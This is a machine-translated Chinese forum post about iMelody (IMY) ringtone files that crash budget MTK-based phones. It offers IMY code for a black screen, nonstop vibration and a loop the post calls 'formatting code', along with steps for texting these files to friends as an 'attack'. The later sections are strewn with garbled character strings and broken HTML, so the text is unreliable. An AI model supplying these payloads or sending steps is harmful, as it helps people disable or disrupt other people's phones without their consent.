Said before: I was fucked too. I really want to understand what is going on. So I am very busy and busy to work on this thing. I hope everyone can understand a little bit after reading it! IMY I am single. Sound, I don’t want everyone to forget me, so I jumped out again!
This article comes from my own network and I just organized it according to my own ideas
IMY editor doesn’t seem to need anything The software is written in Notepad. Then just change the extension. To put it simply, it is a language like HTML. Let the mobile phone explain it. It is a standard for others to follow. This thing After posting it, I will edit it myself.
The original file is provided for everyone to test better. Just one will vibrate, and the others will be music: IMY file will vibrate. Black screen file download link href="/d/9c179273db0a395cdab621726fb4db34666511b9701e0000" target=_blank>/d/9c17927 ... b34666511b9701e0000 Write it in front. Some friends don’t ask for anything. To understand, let’s read the previous ones; Operation method 1. Put the newly downloaded imy into the Audio folder on your phone, avoid the Audio folder on your phone Then click to write a text message (not a MMS) (You can use your own mobile phone to edit the ringtone and then save it to see if it belongs to this file. I tested it myself and it is this folder) Operation method two. Directly find the IMY file you sent on your mobile phone. Send the file , in the form of text message or enhanced text message. In this way, the file is added. There will be an extra music symbol in the mobile phone text message. You should pay attention when writing the text message. Just lead your friends to read down. Put the file at the back and put the others in the middle. It works. Send it to them for a try. Friends who still want to know more about it can read on. Friends who want a deeper understanding can just read this. The general solution can be summarized in two steps. Download me Files on the network disk. Then get them into your phone and send them to friends as enhanced text messages or text messages. To avoid triggering the effect yourself, please set your phone to silent mode first 1. IMY was originally music. A netizen said: My first mobile phone was Ericsson's T28SC. Later I bought a T68 as a gift for my BF. I didn't know anything about imy's ringtones at first, but then I read a lot of things. I finally realized that the polyphonic ringtone of T302 is too small. I think the imy ringtone is also good, so I wrote some experience. Corrections are welcome. The imelody (imy) standard is very flexible, and the range spans 9 and 8 degree, 24 different tone lengths, I usually use Mobile Music for various MIDI/IMY/RTTTL conversions. The process of creating imy ringtones is as follows, taking the CS bomb sound as an example: Create a notepad, click Format, and write the code: BEGIN:IMELODY VERSION:1.2 FORMAT:CLASS1.0 NAME:Bomb (The name of your ringtone is convenient for you to remember, but the name displayed on the phone is still the file name before .imy) BEAT:120 STYLE:S0 VOLUME:V15 MELODY alt = src="/images/smilies/default/sad.gif" border=0 smilieid="2">ledonvibeonbackon*7e4ledoffvibeoffbackoffr1@5) (ledonvibeonbackon*7e4ledoffvibeoffbackoffr2@15 ) (ledonvibeonbackon*7e4ledoffvibeoff backoffr3@15)(ledonvibeonbackon*7e4ledoffvibeoffbackoffr5@25)vibeon(ledonbackon*7e5ledoffbackoff@0) (note code) END :IMELODY Finally save it as *.imy and pass the infrared ray to your 68 or other machine to save, then you can enjoy the ringtone with vibration and splash screen. You can study this together~ 2. Another netizen who was pranked on IMY said: Black screen, vibration, crash note, who has the source code of IMY? Today, a friend sent me two text messages. The content is as follows: 1. Warning: Do not scroll down this message. If you scroll again, the screen will go black for an hour. (Unfortunately, I was too curious, so I flipped through it, and the screen turned out to be black. When I pressed the button, it kept flashing. But I could only disconnect the battery. Depressing...) 2. I believe that the phone can be restored again. Malfunctioning text messages? This one can make your dreams come true. Don't scroll down. If you turn it over again, you have to remove the battery. Warning again! ! (Unfortunately, I watched it again this time, and the phone kept vibrating wildly. I had no choice but to remove the battery. It made me even more depressed...) It's really weird, text messages can make the phone do this! ! I checked online and found the reason: my mobile phone is a copycat phone! ! ! Why does this short message make the screen of the fake phone go black? This is related to the MTK platform of the mobile phone. The operating system of most "shanzhai phones" uses the MTK platform. This MTK platform, because of its low price, has allowed many domestic manufacturers of MP3 music players to produce mobile phones overnight. The format of this text message is: (blank line) Note (blank line) Your phone will have a black screen for one hour (blank line) Believe it or not... (blank line to the end). Within these blank lines, a music prompt is implicit. It is this music prompt that makes the phone screen black. This music prompt is a component that can test pirated and genuine versions - just like the Microsoft XP operating system on your computer, if the software is not genuine, the screen will go black. In the MTK solution, the mobile phone has a vibration interface for sound files, that is, the vibration command is put into the ringtone. When the ringtone is used, the phone will automatically vibrate! The same principle as vibration In the MTK solution, in addition to the vibration interface, there may be a black screen command interface (of course, it is probably just a loophole). Adding this command to the sound file can make the phone screen black! 3. Further expand the mobile phone formatting code! ! ! ! ! ! ! ! ! ! BEGBEGIN:IMELODY VERSION:1.2 FORMAT:CLASS1.0 COMPOSER:MIK(23)Fomat BEAT:180 MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoff ("++" @999999999999999999999999)" Mobile phone black screen code BEGIN:IMELODY BEAT:1200 MELODY alt= src="/images/smilies/default/sad.gif" border=0 smilieid ="2">ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600) END:IMELODY Mobile phone shaking code BEGIN:IMELODY VERSION:1.2 FORMAT:CLASS1.0 BEAT:100 MELODY src ="/images/smilies/default/sad.gif" border=0 smilieid="2">ledoffledonbackoffbackonvibeon@0) END:IMELODY Launch a fierce attack on your "copycat friends" Use with caution...at your own risk imy. Put it in the Audio folder on your phone, avoid the Audio folder on your phone Then click to write a text message (not a MMS) (you can use your own phone to edit ringtones) Then save it to see if it belongs to this file. I tested it myself and it is this folder) Options: The above codes have not been directly written into the source code in the text message to send for testing. Please do not try the formatting code easily! If you want to write the formatting code directly in the text message, please try other codes and make sure there is no danger before trying. Insert the object my ringtone and select the IMY file just now. Principle of sending IMY is the earliest supported by Sony Ericsson. A spring code monosyllabic ringtone, which can use the code to call the decoding chip of the mobile phone to emit some sounds or even some core instructions 4. Understand a little bit (basic standard) The basic format of imy: BEGIN:IMELOPYDEBT:/ /Execution parameters (number) MELODY://lighting and vibration control script END:IMELODY --2008-11-12 BEGIN:IMELODY VERSION:1.2 5. We need to clarify one more point: IMY detailed explanation: ! b \ ]7 r5 y 6 L- V3 s+ J e3 W; }" f (iMelody Ringtone Format): This is a ringtone specially designed for use in EMS , proposed by Ericsson in 2000 and approved by 3GPP as a standard in June 2001, i-Melody ringtones mark tones based on text, and its standardization work is handled by IrDA. Ericsson and current Sony Ericsson mobile phone models that support EMS mostly use the i-Melody ringtone format. ' l8 b9 O; ]8 ^& d# @" E8 {: i6 I IMY is a ringtone format for mobile phones - W7 x6 o, l4 \. qIt is 2000 An audio...IMY proposed by Ericsson is one of the universal MMS file formats specified by China Mobile, but there are not many mobile phones that support self-playing and ringtones of this file format % }. |& R3 E"<. /p> @& u" ^5 s0 z8 I& G g/ N9 x5 Y" m5 E' |$ T! W IMY is a monophonic format (non-chord) 7 U3 Q* c( C8 \: @- j6 l. e/ O* A' r You can write notes directly on your mobile phone; W$ E5 V9 {$ z8 w Z% O8 v5 n 0 y- j2 Z n$ V Let’s talk about why this vulnerability appears in MTK. As early as the 10s, MTK62 did not have this vulnerability. This is also the reason why some old copycat phones are immune to such text messages! 7 S' e% d7 T9 Y: V# }. L& U* z- s5 n+ G- q, e. m In the MTK62 20s, I still remember the new function flash message launched by the copycat at that time It is to send a text message to accompany With the screen and keyboard flashing, a lot of Morse code can be flashed At the time, it seemed quite unique. Later, maybe the manufacturer did not promote it, and people thought this function was useless, so they stopped mentioning it, and "powerful" "The MTK retains this function, which leads to the occurrence of vulnerabilities! : G' B% j+ N5 p. W3 H + j. e) ~% r A' L Below I exclusively provide imy's Writing method and code: 0 [+ V# ], O- s. w1 ] : W. D7 v! W6 L" r3 Y3 m& R" R8 z After two days of exploration, some Experience, dedicated to everyone: 2 V8 V4 N# v: j$ ]- x& X3 I (1) IMY basic format analysis: # V) G6 g" v- o+ t1 N7 |. D8 T ########################4 q. u4 s2 ?" P$ f1 I& ~- J3 g! i BEGIN:IMELODY 2 _* P2 k* ^! R VERSION:0 l3 I2 T% G* w( C, f FORMAT:2 H$ _5 @, l, d* d" E! F0 J C1 t [NAME:]; e& n# P3 G( t) |1 n( C [COMPOSER:] ! K! k3 { y* N& L- ]$ }* E3 H# h [BEAT:]: f( s8 F7 Y' @) {9 P% r9 a [STYLE: From the Tricky Forum /index. php China Tricky Network /